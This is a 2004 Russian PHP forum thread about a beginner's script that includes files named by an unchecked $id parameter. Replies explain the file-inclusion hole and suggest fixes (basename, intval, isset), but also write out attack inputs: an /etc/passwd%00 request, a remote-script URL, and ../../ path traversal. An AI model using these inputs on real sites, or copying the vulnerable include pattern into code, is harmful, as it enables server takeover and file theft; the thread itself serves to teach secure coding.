ReSQL.ru
     
powered by simpleCommunicator - 2.0.51     © 2025 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / include
24 сообщений из 24, страница 1 из 1
include
    #32660450
dddd
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
dddd
Участник
У меня вопрос.
Написал скрипт:


<?php
if ($id=="") {
include ("1.txt");
}
else {
include ("$id.txt");
}
?>

и файл "1.txt" :

aaaaaaaaaaaaaa

Он выдаёт текст:

Notice: Undefined variable: id in X:\home\localhost\www\php\index.php on line 10

Что с этим делать?
...
Рейтинг: 0 / 0
23.08.2004, 01:23
| Ответить | Цитировать | Написать  
include
    #32660678
Count
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Count
Гость
Для начала перевести "Undefined variable"
...
Рейтинг: 0 / 0
23.08.2004, 10:05
| Ответить | Цитировать | Написать  
include
    #32660836
Макс М.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Макс М.
Участник
данный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП).

Функции, которые могут помочь -
http://php.net/empty
http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id)
http://php.net/readfile
...
Рейтинг: 0 / 0
23.08.2004, 11:38
| Ответить | Цитировать | Написать  
include
    #32661748
dddd
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
dddd
Участник
А как сделать просто чтобы это сообщение не появлялось?
...
Рейтинг: 0 / 0
23.08.2004, 17:08
| Ответить | Цитировать | Написать  
include
    #32661839
Макс М.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Макс М.
Участник
то есть дыру на сайте ты закрывать не собираешься ?

PS
> А как сделать просто чтобы это сообщение не появлялось?
одна из функций в моем предыдущем сообщении делает проверку, не генерируя такой Нотайс
...
Рейтинг: 0 / 0
23.08.2004, 17:43
| Ответить | Цитировать | Написать  
include
    #32662793
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
Макс Мданный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП).

А каким образом?
...
Рейтинг: 0 / 0
24.08.2004, 12:38
| Ответить | Цитировать | Написать  
include
    #32662816
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sky2k
Участник
2kVin
nu esli naprimer vyzvat'
http://example/file.php?id=/etc/passwd%00
...
Рейтинг: 0 / 0
24.08.2004, 12:49
| Ответить | Цитировать | Написать  
include
    #32662853
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
а %00 - это пробел?
...
Рейтинг: 0 / 0
24.08.2004, 13:04
| Ответить | Цитировать | Написать  
include
    #32662858
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sky2k
Участник
net vosprimetsya kak simvol okonchaniya stroki, chtoby otbrosit' .txt
...
Рейтинг: 0 / 0
24.08.2004, 13:07
| Ответить | Цитировать | Написать  
include
    #32662883
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
понятно,
а как в данном случае могут помочь функции

http://php.net/empty
http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id)
http://php.net/readfile
...
Рейтинг: 0 / 0
24.08.2004, 13:13
| Ответить | Цитировать | Написать  
include
    #32663213
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
И никто не ответит?
...
Рейтинг: 0 / 0
24.08.2004, 15:05
| Ответить | Цитировать | Написать  
include
    #32663225
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sky2k
Участник
a che trudno pochitat' chto delaut basename ili intval?
...
Рейтинг: 0 / 0
24.08.2004, 15:10
| Ответить | Цитировать | Написать  
include
    #32663232
Макс М.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Макс М.
Участник
а может самому немного подумать ?
Почитай что делают эти функции, поэкспериментируй с ними, разберись, почему возникает эта дыра. на самом деле она гораздо опаснее, чем просто вывод /etc/passwd (который на нормально настроеном хостинге вы просто не сделаете).
Основную опасность здесь представляют вызовы скрипта типа:
http://example.com/script.php?id=http://my.server/my_script
...
Рейтинг: 0 / 0
24.08.2004, 15:12
| Ответить | Цитировать | Написать  
include
    #32663280
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
без вопросов..

спасибо за вышепреведенную информацию.
...
Рейтинг: 0 / 0
24.08.2004, 15:32
| Ответить | Цитировать | Написать  
include
    #32664142
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
:) я опять с вопросом..

А если присоединяемые файлы хранить в отдельном каталоге.

Код: plaintext
1.
$id=file.txt;
include (folder/.$id);

дыра останется?
...
Рейтинг: 0 / 0
25.08.2004, 10:10
| Ответить | Цитировать | Написать  
include
    #32664249
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sky2k
Участник
kVin:) я опять с вопросом..

А если присоединяемые файлы хранить в отдельном каталоге.

Код: plaintext
1.
$id=file.txt;
include (folder/.$id);

дыра останется?

../../

eto dlya razmyshlenii
...
Рейтинг: 0 / 0
25.08.2004, 10:57
| Ответить | Цитировать | Написать  
include
    #32664300
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
:) сенк
...
Рейтинг: 0 / 0
25.08.2004, 11:10
| Ответить | Цитировать | Написать  
include
    #32664821
*
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
*
Гость
И синтаксис выучить не мешало бы - строки в PHP НУЖНО закавычивать.
...
Рейтинг: 0 / 0
25.08.2004, 14:22
| Ответить | Цитировать | Написать  
include
    #32664887
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
исправлюсь..
...
Рейтинг: 0 / 0
25.08.2004, 14:41
| Ответить | Цитировать | Написать  
include
    #32665185
Фотография Аркадий К.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Аркадий К.
Участник
Извините но я всетаки непайму чо за дыра???
...
Рейтинг: 0 / 0
25.08.2004, 16:15
| Ответить | Цитировать | Написать  
include
    #32665299
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
kVin
Гость
Прикалывается тип
...
Рейтинг: 0 / 0
25.08.2004, 16:51
| Ответить | Цитировать | Написать  
include
    #32665552
Фотография Аркадий К.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Аркадий К.
Участник
kVinПрикалывается тип Не внатуре нипонил
...
Рейтинг: 0 / 0
25.08.2004, 18:16
| Ответить | Цитировать | Написать  
include
    #32665775
Alexey Yakovlev
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Alexey Yakovlev
Гость
Упрощенное закрытие дыры :

$id = floor($HTTP_GET_VARS['id']);

и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно.

Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом.

include("./myfile$id.txt")

И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile.

А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS.
...
Рейтинг: 0 / 0
26.08.2004, 01:03
| Ответить | Цитировать | Написать  
include
    #32666080
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
sky2k
Участник
Alexey YakovlevУпрощенное закрытие дыры :

$id = floor($HTTP_GET_VARS['id']);

и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно.

Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом.

include("./myfile$id.txt")

И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile.

А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS.

$id = floor($HTTP_GET_VARS['id']);
pravilnee tak $id = isset($HTTP_GET_VARS['id'])?intval($HTTP_GET_VARS['id']):0;
chtoby warningov nebylo

include("./myfile$id.txt")
ochnis'....
sdelat' $id => "/../test.php%00" budet eqvivalentno include("./test.php")
a dalshe po standartnoi sheme
...
Рейтинг: 0 / 0
26.08.2004, 10:30
| Ответить | Цитировать | Написать  
24 сообщений из 24, страница 1 из 1
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / include
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
Польз. соглашение
NoSQL.ru       Новости, Чат       Фотоальбом: Участники, Встречи
Закрыть
start [/forum/topic.php?fid=23&msg=32665775&tid=1479433]:
 0ms
get settings:
 10ms
get forum list:
 12ms
check forum access:
 2ms
check topic access:
 2ms
track hit:
 43ms
get topic data:
 9ms
get forum data:
 3ms
get page messages:
 50ms
get tp. blocked users:
 1ms
others: 354ms
total:  486ms
созд. / загр.: 486ms
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]